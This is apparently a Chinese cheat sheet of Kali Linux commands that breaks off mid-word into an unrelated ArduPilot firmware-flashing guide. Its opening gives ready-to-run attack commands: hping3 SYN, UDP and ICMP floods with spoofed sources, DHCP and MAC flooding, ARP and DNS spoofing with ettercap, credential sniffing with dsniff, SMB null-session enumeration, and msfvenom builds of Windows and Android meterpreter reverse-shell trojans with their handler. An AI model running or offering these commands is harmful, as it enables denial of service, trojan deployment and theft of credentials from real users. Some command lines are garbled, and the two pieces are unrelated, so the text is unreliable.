网络安全——kali_Linux基本命令大全
网络安全——kali_Linux基本命令1.攻击mac flood命令:macof2.攻击DOS(dhcp food)命令:yersinia -G3.DOS攻击 TCP SYN flood命令:hping3 --flood -S --rand-source (+ip)译:rand-source用于更改ip来攻击4.DOS攻击 UDP flood命令:hping3 --rand-source --udp -p (+端口) --flood (+ip)译:rand-source用于更改ip来攻击5.DOS攻击 -icmp flood命令:hping3 --rand-source --icmp -d 1400 --flood (+ip)译:-d 1400:一个包携带1400个字节6.CC攻击命令:ab -n 10000000 -c 1000 (+网址)http://xiaowan.xyz/译:n:模拟PC的量 c:线程7.arp欺骗攻击命令:arpspoof -i eth0 -t (+ip攻击目标)(+ip网关)8.生成木马针对PC机:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai-i 5 -b ‘0x00’ LHOST=(本机ip) LPORT=4444 -f exe -o a.exe针对手机:msfvenom -p android/meterpreter/reverse_tcp /shikata_ga_nai-i 10 -b ‘0x00’ LHOST=(本机ip) LPORT=4444 -f apk > a.apk控制执行:1.use exploit/multi/hander2.set payload windows/meterpreter/reverse_tcp3.set LHOST (+本机ip)set LPORT9.exploitarch 显示机器的处理器架构
(1) uname -m 显示机器的处理器架构
(2) uname -r 显示正在使用的内核版本
dmidecode -q 显示硬件系统部件
(SMBIOS / DMI) hdparm -i /dev/hda 罗列一个磁盘的架构特性
hdparm -tT /dev/sda 在磁盘上执行测试性读取操作
cat /proc/cpuinfo 显示CPU info的信息
cat/proc/interrupts 显示中断
cat /proc/meminfo 校验内存使用
cat /proc/swaps显示哪些swap被使用
cat /proc/version 显示内核的版本
cat /proc/net/dev 显示网络适配器及统计
cat/proc/mounts 显示已加载的文件系统
lspci -tv 罗列 PCI 设备
lsusb -tv 显示 USB 设备
date显示系统日期
cal 2007 显示2007年的日历表
date 041217002007.00 设置日期和时间 - 月日时分年.秒
clock -w 将时间修改保存到 BIOS 关机 (系统的关机、重启以及登出 )
shutdown -h now 关闭系统
(1) init0 关闭系统
(2) telinit 0 关闭系统
(3) shutdown -h hours:minutes & 按预定时间关闭系统
shutdown -c 取消按预定时间关闭系统
shutdown -r now 重启
(1) reboot 重启
(2) logout 注销10.文件和目录cd /home 进入 ‘/ home’ 目录’cd … 返回上一级目录cd …/… 返回上两级目录cd 进入个人的主目录cd ~user1 进入个人的主目录cd - 返回上次所在的目录pwd 显示工作路径ls 查看目录中的文件ls -F 查看目录中的文件ls -l 显示文件和目录的详细资料ls -a 显示隐藏文件ls [0-9] 显示包含数字的文件名和目录名tree 显示文件和目录由根目录开始的树形结构(1)lstree 显示文件和目录由根目录开始的树形结构(2)mkdir dir1 创建一个叫做 ‘dir1’ 的目录’mkdir dir1 dir2 同时创建两个目录mkdir -p /tmp/dir1/dir2 创建一个目录树rm -f file1 删除一个叫做 ‘file1’ 的文件’rmdir dir1 删除一个叫做 ‘dir1’ 的目录’rm -rf dir1 删除一个叫做 ‘dir1’ 的目录并同时删除其内容rm -rf dir1 dir2 同时删除两个目录及它们的内容mv dir1 new_dir 重命名/移动 一个目录cp file1 file2 复制一个文件cp dir/* . 复制一个目录下的所有文件到当前工作目录cp -a /tmp/dir1 . 复制一个目录到当前工作目录cp -a dir1 dir2 复制一个目录ln -s file1 lnk1 创建一个指向文件或目录的软链接ln file1 lnk1 创建一个指向文件或目录的物理链接touch -t 0712250000 file1 修改一个文件或目录的时间戳 - (YYMMDDhhmm)file file1 outputs the mime type of the file as texticonv -l 列出已知的编码11.文件搜索find / -name file1 从 ‘/’ 开始进入根文件系统搜索文件和目录find / -user user1 搜索属于用户 ‘user1’ 的文件和目录find /home/user1 -name *.bin 在目录 ‘/ home/user1’ 中搜索带有’.bin’ 结尾的文件find /usr/bin -type f -atime +100 搜索在过去100天内未被使用过的执行文件find /usr/bin -type f -mtime -10 搜索在10天内被创建或者修改过的文件find / -name *.rpm -exec chmod 755 ‘{}’ ; 搜索以 ‘.rpm’ 结尾的文件并定义其权限find / -xdev -name *.rpm 搜索以 ‘.rpm’ 结尾的文件,忽略光驱、捷盘等可移动设备locate *.ps 寻找以 ‘.ps’ 结尾的文件 - 先运行 ‘updatedb’ 命令whereis halt 显示一个二进制文件、源码或man的位置which halt 显示一个二进制文件或可执行文件的完整路径12.挂载一个文件系统mount /dev/hda2 /mnt/hda2 挂载一个叫做hda2的盘 - 确定目录 ‘/ mnt/hda2’ 已经存在umount /dev/hda2 卸载一个叫做hda2的盘 - 先从挂载点 ‘/ mnt/hda2’ 退出fuser -km /mnt/hda2 当设备繁忙时强制卸载umount -n /mnt/hda2 运行卸载操作而不写入 /etc/mtab 文件- 当文件为只读或当磁盘写满时非常有用mount /dev/fd0 /mnt/floppy 挂载一个软盘mount /dev/cdrom /mnt/cdrom 挂载一个cdrom或dvdrommount /dev/hdc /mnt/cdrecorder 挂载一个cdrw或dvdrommount /dev/hdb /mnt/cdrecorder 挂载一个cdrw或dvdrommount -o loop file.iso /mnt/cdrom 挂载一个文件或ISO镜像文件mount -t vfat /dev/hda5 /mnt/hda5 挂载一个Windows FAT32文件系统mount /dev/sda1 /mnt/usbdisk 挂载一个usb 捷盘或闪存设备mount -t smbfs -o username=user,password=pass //WinClient/share /mnt/share 挂载一个windows网络共享13.磁盘空间df -h 显示已经挂载的分区列表ls -lSr |more 以尺寸大小排列文件和目录du -sh dir1 估算目录 ‘dir1’ 已经使用的磁盘空间’du -sk * | sort -rn 以容量大小为依据依次显示文件和目录的大小rpm -q -a --qf ‘%10{SIZE}t%{NAME}n’ | sort -k1,1n 以大小为依据依次显示已安装的rpm包所使用的空间 (fedora, redhat类系统)dpkg-query -W -f='Installed−Size;10t{Package}n’ | sort -k1,1n 以大小为依据显示已安装的deb包所使用的空间 (ubuntu, debian类系统)14.用户和群组groupadd group_name 创建一个新用户组groupdel group_name 删除一个用户组groupmod -n new_group_name old_group_name 重命名一个用户组useradd -c "Name Surname " -g admin -d /home/user1 -s /bin/bash user1 创建一个属于 “admin” 用户组的用户useradd user1 创建一个新用户userdel -r user1 删除一个用户 ( ‘-r’ 排除主目录)usermod -c “User FTP” -g system -d /ftp/user1 -s /bin/nologin user1 修改用户属性passwd 修改口令passwd user1 修改一个用户的口令 (只允许root执行)chage -E 2005-12-31 user1 设置用户口令的失效期限pwck 检查 ‘/etc/passwd’ 的文件格式和语法修正以及存在的用户grpck 检查 ‘/etc/passwd’ 的文件格式和语法修正以及存在的群组newgrp group_name 登陆进一个新的群组以改变新创建文件的预设群组15.文件的权限-——使用 “+” 设置权限,使用 “-” 用于取消 ls -lh 显示权限ls /tmp | pr -T5 -W$COLUMNS 将终端划分成5栏显示chmod ugo+rwx directory1 设置目录的所有人(u)、群组(g)以及其他人(o)以读(r )、写(w)和执行(x)的权限chmod go-rwx directory1 删除群组(g)与其他人(o)对目录的读写执行权限chown user1 file1 改变一个文件的所有人属性chown -R user1 directory1 改变一个目录的所有人属性并同时改变改目录下所有文件的属性chgrp group1 file1 改变文件的群组chown user1:group1 file1 改变一个文件的所有人和群组属性find / -perm -u+s 罗列一个系统中所有使用了SUID控制的文件chmod u+s /bin/file1 设置一个二进制文件的 SUID 位 - 运行该文件的用户也被赋予和所有者同样的权限chmod u-s /bin/file1 禁用一个二进制文件的 SUID位chmod g+s /home/public 设置一个目录的SGID 位 - 类似SUID ,不过这是针对目录的chmod g-s /home/public 禁用一个目录的 SGID 位chmod o+t /home/public 设置一个文件的 STIKY 位 - 只允许合法所有人删除文件chmod o-t /home/public 禁用一个目录的 STIKY 位16.文件的特殊属性—— 使用 “+” 设置权限,使用 “-” 用于取消chattr +a file1 只允许以追加方式读写文件chattr +c file1 允许这个文件能被内核自动压缩/解压chattr +d file1 在进行文件系统备份时,dump程序将忽略这个文件chattr +i file1 设置成不可变的文件,不能被删除、修改、重命名或者链接chattr +s file1 允许一个文件被安全地删除chattr +S file1 一旦应用程序对这个文件执行了写操作,使系统立刻把修改的结果写到磁盘chattr +u file1 若文件被删除,系统会允许你在以后恢复这个被删除的文件lsattr 显示特殊的属性17.打包和压缩文件bunzip2 file1.bz2 解压一个叫做 'file1.bz2’的文件bzip2 file1 压缩一个叫做 ‘file1’ 的文件gunzip file1.gz 解压一个叫做 'file1.gz’的文件gzip file1 压缩一个叫做 'file1’的文件gzip -9 file1 最大程度压缩rar a file1.rar test_file 创建一个叫做 ‘file1.rar’ 的包rar a file1.rar file1 file2 dir1 同时压缩 ‘file1’, ‘file2’ 以及目录 ‘dir1’rar x file1.rar 解压rar包unrar x file1.rar 解压rar包tar -cvf archive.tar file1 创建一个非压缩的 tarballtar -cvf archive.tar file1 file2 dir1 创建一个包含了 ‘file1’, ‘file2’ 以及 'dir1’的档案文件tar -tf archive.tar 显示一个包中的内容tar -xvf archive.tar 释放一个包tar -xvf archive.tar -C /tmp 将压缩包释放到 /tmp目录下tar -cvfj archive.tar.bz2 dir1 创建一个bzip2格式的压缩包tar -xvfj archive.tar.bz2 解压一个bzip2格式的压缩包tar -cvfz archive.tar.gz dir1 创建一个gzip格式的压缩包tar -xvfz archive.tar.gz 解压一个gzip格式的压缩包zip file1.zip file1 创建一个zip格式的压缩包zip -r file1.zip file1 file2 dir1 将几个文件和目录同时压缩成一个zip格式的压缩包unzip file1.zip 解压一个zip格式压缩包18.RPM 包 - (Fedora, Redhat及类似系统)rpm -ivh package.rpm 安装一个rpm包rpm -ivh --nodeeps package.rpm 安装一个rpm包而忽略依赖关系警告rpm -U package.rpm 更新一个rpm包但不改变其配置文件rpm -F package.rpm 更新一个确定已经安装的rpm包rpm -e package_name.rpm 删除一个rpm包rpm -qa 显示系统中所有已经安装的rpm包rpm -qa | grep httpd 显示所有名称中包含 “httpd” 字样的rpm包rpm -qi package_name 获取一个已安装包的特殊信息rpm -qg “System Environment/Daemons” 显示一个组件的rpm包rpm -ql package_name 显示一个已经安装的rpm包提供的文件列表rpm -qc package_name 显示一个已经安装的rpm包提供的配置文件列表rpm -q package_name --whatrequires 显示与一个rpm包存在依赖关系的列表rpm -q package_name --whatprovides 显示一个rpm包所占的体积rpm -q package_name --**s 显示在安装/删除期间所执行的脚本lrpm -q package_name --changelog 显示一个rpm包的修改历史rpm -qf /etc/httpd/conf/httpd.conf 确认所给的文件由哪个rpm包所提供rpm -qp package.rpm -l 显示由一个尚未安装的rpm包提供的文件列表rpm --import /media/cdrom/RPM-GPG-KEY 导入公钥数字证书rpm --checksig package.rpm 确认一个rpm包的完整性rpm -qa gpg-pubkey 确认已安装的所有rpm包的完整性rpm -V package_name 检查文件尺寸、 许可、类型、所有者、群组、MD5检查以及最后修改时间rpm -Va 检查系统中所有已安装的rpm包- 小心使用rpm -Vp package.rpm 确认一个rpm包还未安装rpm2cpio package.rpm | cpio --extract --make-directories bin 从一个rpm包运行可执行文件rpm -ivh /usr/src/redhat/RPMS/arch/package.rpm 从一个rpm源码安装一个构建好的包rpmbuild --rebuild package_name.src.rpm 从一个rpm源码构建一个 rpm 包19.YUM 软件包升级器 - (Fedora, RedHat及类似系统)yum install package_name 下载并安装一个rpm包yum localinstall package_name.rpm 将安装一个rpm包,使用你自己的软件仓库为你解决所有依赖关系yum update package_name.rpm 更新当前系统中所有安装的rpm包yum update package_name 更新一个rpm包yum remove package_name 删除一个rpm包yum list 列出当前系统中安装的所有包yum search package_name 在rpm仓库中搜寻软件包yum clean packages 清理rpm缓存删除下载的包yum clean headers 删除所有头文件yum clean all 删除所有缓存的包和头文件20.DEB 包 (Debian, Ubuntu 以及类似系统)dpkg -i package.deb 安装/更新一个 deb 包dpkg -r package_name 从系统删除一个 deb 包dpkg -l 显示系统中所有已经安装的 deb 包dpkg -l | grep httpd 显示所有名称中包含 “httpd” 字样的deb包dpkg -s package_name 获得已经安装在系统中一个特殊包的信息dpkg -L package_name 显示系统中已经安装的一个deb包所提供的文件列表dpkg --contents package.deb 显示尚未安装的一个包所提供的文件列表dpkg -S /bin/ping 确认所给的文件由哪个deb包提供21.APT 软件工具 (Debian, Ubuntu 以及类似系统)apt-get install package_name 安装/更新一个 deb 包apt-cdrom install package_name 从光盘安装/更新一个 deb 包apt-get update 升级列表中的软件包apt-get upgrade 升级所有已安装的软件apt-get remove package_name 从系统删除一个deb包apt-get check 确认依赖的软件仓库正确apt-get clean 从下载的软件包中清理缓存apt-cache search searched-package 返回包含所要搜索字符串的软件包名称返回顶部索引22.查看文件内容cat file1 从第一个字节开始正向查看文件的内容tac file1 从最后一行开始反向查看一个文件的内容more file1 查看一个长文件的内容less file1 类似于 ‘more’ 命令,但是它允许在文件中和正向操作一样的反向操作head -2 file1 查看一个文件的前两行tail -2 file1 查看一个文件的最后两行tail -f /var/log/messages 实时查看被添加到一个文件中的内容23.文本处理cat file1 file2 … | command <> file1_in.txt_or_file1_out.txt general syntax for text manipulation using PIPE, STDIN and STDOUTcat file1 | command( sed, grep, awk, grep, etc…) > result.txt 合并一个文件的详细说明文本,并将简介写入一个新文件中cat file1 | command( sed, grep, awk, grep, etc…) >> result.txt 合并一个文件的详细说明文本,并将简介写入一个已有的文件中grep Aug /var/log/messages 在文件 '/var/log/messages’中查找关键词"Aug"grep ^Aug /var/log/messages 在文件 '/var/log/messages’中查找以"Aug"开始的词汇grep [0-9] /var/log/messages 选择 ‘/var/log/messages’ 文件中所有包含数字的行grep Aug -R /var/log/* 在目录 ‘/var/log’ 及随后的目录中搜索字符串"Aug"sed ‘s/stringa1/stringa2/g’ example.txt 将example.txt文件中的 “string1” 替换成 “string2”sed ‘/^/d’ example.txt 从example.txt文件中删除所有空白行 sed ‘/ *#/d; /^/d’ example.txt 从example.txt文件中删除所有注释和空白行echo ‘esempio’ | tr ‘[:lower:]’ ‘[:upper:]’ 合并上下单元格内容sed -e ‘1d’ result.txt 从文件example.txt 中排除第一行sed -n ‘/stringa1/p’ 查看只包含词汇 “string1"的行sed -e ‘s/ *//′example.txt删除每一行最后的空白字符sed−e′s/stringa1//g′example.txt从文档中只删除词汇"string1"并保留剩余全部sed−n′1,5p;5q′example.txt查看从第一行到第5行内容sed−n′5p;5q′example.txt查看第5行sed−e′s/00∗/0/g′example.txt用单个零替换多个零cat−nfile1标示文件的行数catexample.txt|awk′NR1}’ 查看一行第一栏echo a b c | awk '{print 1,3}’ 查看一行的第一和第三栏paste file1 file2 合并两个文件或两栏的内容paste -d ‘+’ file1 file2 合并两个文件或两栏的内容,中间用”+"区分sort file1 file2 排序两个文件的内容sort file1 file2 | uniq 取出两个文件的并集(重复的行只保留一份)sort file1 file2 | uniq -u 删除交集,留下其他的行sort file1 file2 | uniq -d 取出两个文件的交集(只留下同时存在于两个文件中的文件)comm -1 file1 file2 比较两个文件的内容只删除 ‘file1’ 所包含的内容comm -2 file1 file2 比较两个文件的内容只删除 ‘file2’ 所包含的内容comm -3 file1 file2 比较两个文件的内容只删除两个文件共有的部分23.字符设置和文件格式转换dos2unix filedos.txt fileunix.txt 将一个文本文件的格式从MSDOS转换成UNIXunix2dos fileunix.txt filedos.txt 将一个文本文件的格式从UNIX转换成MSDOSrecode …HTML < page.txt > page.html 将一个文本文件转换成htmlrecode -l | more 显示所有允许的转换格式24.文件系统分析badblocks -v /dev/hda1 检查磁盘hda1上的坏磁块fsck /dev/hda1 修复/检查hda1磁盘上linux文件系统的完整性fsck.ext2 /dev/hda1 修复/检查hda1磁盘上ext2文件系统的完整性e2fsck /dev/hda1 修复/检查hda1磁盘上ext2文件系统的完整性e2fsck -j /dev/hda1 修复/检查hda1磁盘上ext3文件系统的完整性fsck.ext3 /dev/hda1 修复/检查hda1磁盘上ext3文件系统的完整性fsck.vfat /dev/hda1 修复/检查hda1磁盘上fat文件系统的完整性fsck.msdos /dev/hda1 修复/检查hda1磁盘上dos文件系统的完整性dosfsck /dev/hda1 修复/检查hda1磁盘上dos文件系统的完整性25.初始化一个文件系统mkfs /dev/hda1 在hda1分区创建一个文件系统mke2fs /dev/hda1 在hda1分区创建一个linux ext2的文件系统mke2fs -j /dev/hda1 在hda1分区创建一个linux ext3(日志型)的文件系统mkfs -t vfat 32 -F /dev/hda1 创建一个 FAT32 文件系统fdformat -n /dev/fd0 格式化一个软盘mkswap /dev/hda3 创建一个swap文件系统26.SWAP文件系统mkswap /dev/hda3 创建一个swap文件系统swapon /dev/hda3 启用一个新的swap文件系统swapon /dev/hda2 /dev/hdb3 启用两个swap分区27.备份dump -0aj -f /tmp/home0.bak /home 制作一个 ‘/home’ 目录的完整备份dump -1aj -f /tmp/home0.bak /home 制作一个 ‘/home’ 目录的交互式备份restore -if /tmp/home0.bak 还原一个交互式备份rsync -rogpav --delete /home /tmp 同步两边的目录rsync -rogpav -e ssh --delete /home ip_address:/tmp 通过SSH通道rsyncrsync -az -e ssh --delete ip_addr:/home/public /home/local 通过ssh和压缩将一个远程目录同步到本地目录rsync -az -e ssh --delete /home/local ip_addr:/home/public 通过ssh和压缩将本地目录同步到远程目录dd bs=1M if=/dev/hda | gzip | ssh user@ip_addr ‘dd of=hda.gz’ 通过ssh在远程主机上执行一次备份本地磁盘的操作dd if=/dev/sda of=/tmp/file1 备份磁盘内容到一个文件tar -Puf backup.tar /home/user 执行一次对 ‘/home/user’ 目录的交互式备份操作( cd /tmp/local/ && tar c . ) | ssh -C user@ip_addr ‘cd /home/share/ && tar x -p’ 通过ssh在远程目录中复制一个目录内容( tar c /home ) | ssh -C user@ip_addr ‘cd /home/backup-home && tar x -p’ 通过ssh在远程目录中复制一个本地目录tar cf - . | (cd /tmp/backup ; tar xf - ) 本地将一个目录复制到另一个地方,保留原有权限及链接find /home/user1 -name ‘.txt’ | xargs cp -av --target-directory=/home/backup/ --parents 从一个目录查找并复制所有以 ‘.txt’ 结尾的文件到另一个目录find /var/log -name '.log’ | tar cv --files-from=- | bzip2 > log.tar.bz2 查找所有以 ‘.log’ 结尾的文件并做成一个bzip包dd if=/dev/hda of=/dev/fd0 bs=512 count=1 做一个将 MBR (Master Boot Record)内容复制到软盘的动作dd if=/dev/fd0 of=/dev/hda bs=512 count=1 从已经保存到软盘的备份中恢复MBR内容28.光盘cdrecord -v gracetime=2 dev=/dev/cdrom -eject blank=fast -force 清空一个可复写的光盘内容mkisofs /dev/cdrom > cd.iso 在磁盘上创建一个光盘的iso镜像文件mkisofs /dev/cdrom | gzip > cd_iso.gz 在磁盘上创建一个压缩了的光盘iso镜像文件mkisofs -J -allow-leading-dots -R -V “Label CD” -iso-level 4 -o ./cd.iso data_cd 创建一个目录的iso镜像文件cdrecord -v dev=/dev/cdrom cd.iso 刻录一个ISO镜像文件gzip -dc cd_iso.gz | cdrecord dev=/dev/cdrom - 刻录一个压缩了的ISO镜像文件mount -o loop cd.iso /mnt/iso 挂载一个ISO镜像文件cd-paranoia -B 从一个CD光盘转录音轨到 wav 文件中cd-paranoia – “-3” 从一个CD光盘转录音轨到 wav 文件中(参数-3)cdrecord --scanbus 扫描总线以识别scsi通道dd if=/dev/hdc | md5sum 校验一个设备的md5sum编码,例如一张 CD29.应用命令whois 域名/ip 查看域名的详细信息。ping 域名/ip 测试本机到远端主机是否联通。dig 域名/ip 查看域名解析的详细信息。host -l 域名 dns服务器 传输zone。30.扫描nmap-sS 半开扫描TCP和SYN扫描。-sT 完全TCP连接扫描。-sU UDP扫描-PS syn包探测(防火墙探测)-PA ack包探测(防火墙探测)-PN 不ping。-n 不dns解析。-A -O和-sV。-O 操作系统识别。-sV 服务版本信息(banner)-p 端口扫描。-T 设置时间级别(0-5)-iL 导入扫描结果。-oG 输出扫描结果。31.操作系统识别:p0f -i eth0 -U -p 开启混杂模式。xprobe2 ip|域名 检测os。banner获取:nc ip port 检测端口是否打开。telnet ip port 检测端口是否打开。wget ip 下载主页。cat index.html | more 显示主页代码。q 退出。32.windows枚举nmap -sS -p 139,445 ip 扫描windows。cd /pentest/enumeration/smb-enumnbtscan -f targetIP 检测netbios。smbgetserverinfo -i targetIP 扫描name,os,组。smbdumpusers -i targetIP 列出用户。smbclient -L //targetIP 列出共享。33.使用windows:net use \ipipc$ “” /u:“” 开启空会话。net view \ip 显示共享信息。smbclient:smbclient -L hostName -I targetIP 枚举共享。smbclient -L hostName/share -U “” 用空用户连接。smbclient -L hostName -I targetIP -U admin普通用户连接。34.rpcclient:rpcclient targetIP -U “”打开一个空会话。netshareenum 枚举共享。enumdomusers 枚举用户。lsaenumsid 枚举域SID。queryuser RID 查询用户信息。createdomuser 创建用户访问。34. ARP欺骗:ettercap:nano /usr/local/etc/etter.conf配置文件Sniff > Unified sniffing > Network interface: eth0 > OK 设置抓包的网卡Hosts > Scan for hosts (do this two times)扫描网段的主机Hosts > Hosts list 显示主机列表Select the default gateway > Add to Target 1 添加主机Select the target > Add to Target 2 添加主机Mitm > Arp poisoning > Sniff remote connections > OK 设置ARP攻击Start > Start sniffing 开始攻击dsniff -i eth0 监听网卡窃听登录用户密码urlsnarf -i eth0 嗅探http请求msgsnarf -i eth0 嗅探聊天软件的聊天内容driftnet -i eth0 网络管理嗅探图片,音频。35.dns欺骗:nano /usr/local/share/ettercap/etter.dns编辑配置文件Plugins > Manage the plugins > dns_spoof 设置dns欺骗Mitm > Arp poisoning > Sniff remote connections > OK 设置ARPStart > Start sniffing 开始攻击39. Exploits漏洞利用:cd /pentest/exploits/exploit-db 进入目录cat sploitlist.txt | grep -i [exploit] 查询需要的漏洞cat exploit | grep "#include"检查运行环境cat sploitlist.txt | grep -i exploit | cut -d " " -f1 | xargs grep sys | cut -d “:” -f1 | sort -u只保留可以在linux下运行的代码40.Metasploit:svn update 升级./msfweb Web接口127.0.0.1:55555。../msfconsole 字符下的Console。41.help 帮助show 显示选项 searc
(4)(4.4) 将固件加载到没有ArduPilot固件的主板上
前言ArduPilot 的最新版本(Copter-3.6, Plan-3.9, Rover-3.5)运行在相对较小的、非 Pixhawk 的、使用 ChibiOS 操作系统的自动驾驶仪上。这些电路板的例子包括 OpenPilot RevoMini、Mateksys F405-Wing 和 Omnibus F4 Pro。大多数情况下,这些板子都预装了另一个飞行控制器软件。(如果板子上已经安装了 ArduPilot,请参阅 Loading Firmware 了解固件加载说明)。将 ArduPilot 安装到这些自动驾驶仪上涉及:安装所需的驱动程序和烧录工具;下载合适的 ArduPilot 固件;将 ArduPilot 加载到主板上。!NoteArduPilot 使用 ChibiOS 到 Pixhawk 自动驾驶仪的说明可以在这里(here)找到。1 下载驱动程序和烧录工具STM32CubeProgrammer 将安装所需的 DFU(直接固件上传)驱动程序,并可用于在 DFU 模式下将固件烧录到自动驾驶仪。这适用于 Windows、Linux 和 MacOS 系统。下载并安装此程序。你可能需要同时安装 JAVA,以便设置这个程序。2 下载ArduPilot固件从 firmware.ardupilot.org 下载你的主板的 ArduPilot 固件。通常你可以通过以下方式找到合适的固件:打开 firmware.ardupilot.org;选择点击你的飞行器类型的链接(如 Plane、Copter、Rover、Sub 或 Antenna Tracker);选择"测试版"或"稳定版";寻找名称与自动驾驶仪最接近的目录;下载"arduXXX_with_bl.hex"文件,点击它。它通常会被保存在你的下载文件夹中。3 使用测试版和开发版3.1 测试版在稳定版(Stable)发布之前,会有一个或多个测试版(Beta)被发布。如果你想尝试更新的功能或帮助开发人员进一步测试代码,可以使用这些版本。由于它们是"测试版",可能仍然有错误(尽管这在稳定版固件中也是可能的)。然而,它已经由开发团队进行了测试,并且已经进行了飞行测试。这个版本允许更多的用户在稳定版(Stable)固件发布之前对其进行最终测试。我们鼓励有经验的 ArduPilot 用户试飞这个固件并提供反馈。3.2 最新开发版本这反映了 ArduPilot 代码的开发分支的当前状态。它已经被开发团队审查,通过了所有的自动测试套件,并且在大多数情况下,如果做了重大的改变,可以进行试飞。这段代码每天都会被构建,并且可以供有经验的用户测试。这相当于一个"阿尔法"版本,可能会有错误,尽管很少有"导致崩溃的"。在增加了一个改变或引入了一个功能后不久,Wiki 的 Upcoming Features 部分就会更新有关增加或改变的信息。4 将固件上传到自动驾驶仪按住电路板的 DFU 按钮或临时桥接其"BOOT"引脚,并插入 USB 线(连接到你的 PC)。通电后释放按钮或解除桥接。打开 windows 设备管理器,在"通用串行总线设备"下查找"STM32 BOOTLOADER",以确认该板处于 DFU 模式。启动 STM32CubeProgrammer。1. 选择连接方法:USB;2. 确保有一个 USB 端口显示......这意味着在 DFU 模式下检测到了电路板;3. 按下"Connect";4. 然后板子上的 cpu 具体情况会出现在这里;5. 按"Open file",选择你下载的"arduXXX_with_bl.hex"文件;6. 文件名将出现在标签中;7. 按"Download",将文件烧录到电路板上。你现在可以重新启动电路板,并与你喜欢的地面站(Mission Planner、QGC 等)连接(connect with your favourite ground station),未来的固件上传也应该可以使用 Pixhawk 电路板的正常方法。5 替代方法5.1 下载并安装Zadig(仅适用于Windows)下载并运行 Zadig(在"Download"下面搜索"Zadig 2.3"),允许使用 USB 访问电路板。从选项菜单中选择"List all devices"选项。从下拉菜单中选择"STM32 BOOTLOADER",然后按"Replace Driver"按钮。可选地,你可能希望检查该板作为一个 USB 端口是否可见:按住板子上的 DFU 按钮,插入 USB 线(连接到你的 PC 上);打开 windows 设备管理器,在"通用串行总线设备"下查找"STM32 BOOTLOADER",以确认该板处于 DFU 模式。5.2 下载ArduPilot固件从 firmware.ardupilot.org 下载你的主板的 ArduPilot 固件。通常你可以通过以下方式找到合适的固件:打开 firmware.ardupilot.org;选择点击你的飞行器类型的链接(如 Plane、Copter、Rover、Sub 或 Antenna Tracker);选择"测试版"或"稳定版";寻找名称与自动驾驶仪最接近的目录;下载"arduXXX_with_bl.hex"文件,点击它。它通常会被保存在你的下载文件夹中。5.3 将ArduPilot上传至主板下载、安装并运行 Betaflight 配置器(Betaflight Configurator)。在屏幕的左侧选择"Firmware Flasher";从右上方选择 DFU;从右下方按下"加载固件[本地]",并选择你上面下载的 arduXXX_with_bl.hex 文件;按下"Flash Firmware",几分钟后,固件应该被加载。你现在可以重新启动电路板,并与你喜欢的地面站(Mission Planner、QGC 等)连接(connect with your favourite ground station),未来的固件上传也应该可以使用 Pixhawk 电路板的正常方法。6 将固件加载到带有外部闪存的主板上最近的一些板子,最明显的是来自 Seriously Pro Racing(Seriously Pro Racing - Home)的板子,使用了具有少量内部闪存的 MCU,但外部连接的闪存芯片大得多。这些板子需要额外的步骤来加载 ArduPilot 固件。通常情况下,某种引导程序驻留在内部闪存上,然后主固件驻留在外部闪存上。6.1 使用SSBL加载固件SPRacing 系列的板子在内部闪存上预装了一个专有的引导程序,需要使用第二阶段的引导程序来加载进一步的固件。有几个选择来加载这些板子的固件,但无论你选择哪一种,你都需要使用 SSBL 来初始化 ArduPilot。请按照 https://github.com/spracing/ssbl "安装"说明,以便将 SSBL 加载到你的电路板上。一旦 SSBL 加载完毕,请按照 PX4 的说明将 ArduPilot 加载到板子上 https://github.com/spracing/ssbl#px4-installation-to-external-flash,但不要使用 PX4 固件,请使用 arducopter.bin 固件镜像。以下是步骤的总结:下载https://github.com/spracing/ssbl/releases,并按照https://github.com/spracing/ssbl#installation-to-external-flash,将 SSBL 安装到外部闪存中;下载最新的ArduPilot外部闪存二进制文件,例如https://firmware.ardupilot.org/Copter/latest/SPRacingH7/arducopter.bin;使用 dd 将二进制文件填充到 2MB:dd if=/dev/zero ibs=1k count=2048 of=AP_2MB.bindd conv=notrunc if=arducopter.bin of=AP_2MB.bin把板子放入 SSBL dfu 模式--关闭电源,按住 BIND(不是 BOOT),打开电源--LED 快速闪烁,释放 BIND,LED 缓慢闪烁--DFU 模式启用;使用以下方法烧录二进制文件;dfu-util -D AP_2MB.bin -s 0x90100000:0x200000验证闪存。下面的 dfu-util 命令将闪存的内容复制到电脑上,diff 命令将告诉你这些内容是相同还是不同。如果 diff 没有说文件是相同的,请不要试图飞,重试;dfu-util -U AP_2MB-VERIFY.bin -s 0x90100000:0x200000diff -sb AP_2MB.bin AP_2MB-VERIFY.bin关机,安装 SD 卡(注意:你必须安装 SD 卡,没有 SD 卡,固件将无法启动),开机;使用任务规划器正常配置电路板。在这一点上,你应该有工作的固件在板上。如果你想加载新的固件,你将需要再次遵循步骤2-7(你不能使用 Mission Planner 来加载固件)。如果你确定你永远不会想在电路板上加载 betaflight,那么你可以安装 ArduPilot 引导程序。6.2 安装ArduPilot引导程序!Warning安装 ArduPilot 引导程序是一个单向的操作。在这一步之后,你不能把板子恢复到出厂配置或加载 betaflight - 你必须把板子送回 Seriously Pro,重新刷上出厂固件,假设这是有可能的话。如果你确定你只想在板子上使用 ArduPilot,那么烧录 ardupilot bootloader 可以使后续的升级更加简单。你最初必须在电路板上安装一个工作版本的 ArduPilot - 按照上面的步骤;你现在必须解除内部闪存的复制保护。这是一个破坏性的操作,需要完全擦除闪存。ArduPilot 提供了支持,使之变得简单。设置 BRD_OPTIONS = 16;关掉电源,再接通板子的电源。板子不会出现启动,但闪存扇区正在被擦除。等待几秒钟,然后关闭板子的电源;按住启动按钮(这次不绑定启动),打开飞行控制器电源。这将使电路板处于 dfu 模式;下载ArduPilot引导程序,例如:https://github.com/ArduPilot/ardupilot/blob/master/Tools/bootloaders/SPRacingH7_bl.bin;通过 dfu 安装引导程序:dfu-util -a 0 --dfuse-address 0x08000000 -D SPRacingH7_bl.bin重新启动电路板;现在你可以使用你喜欢的工具来上传 ArduPilot 固件。
(4)(4.2.4) 连接电调和电机
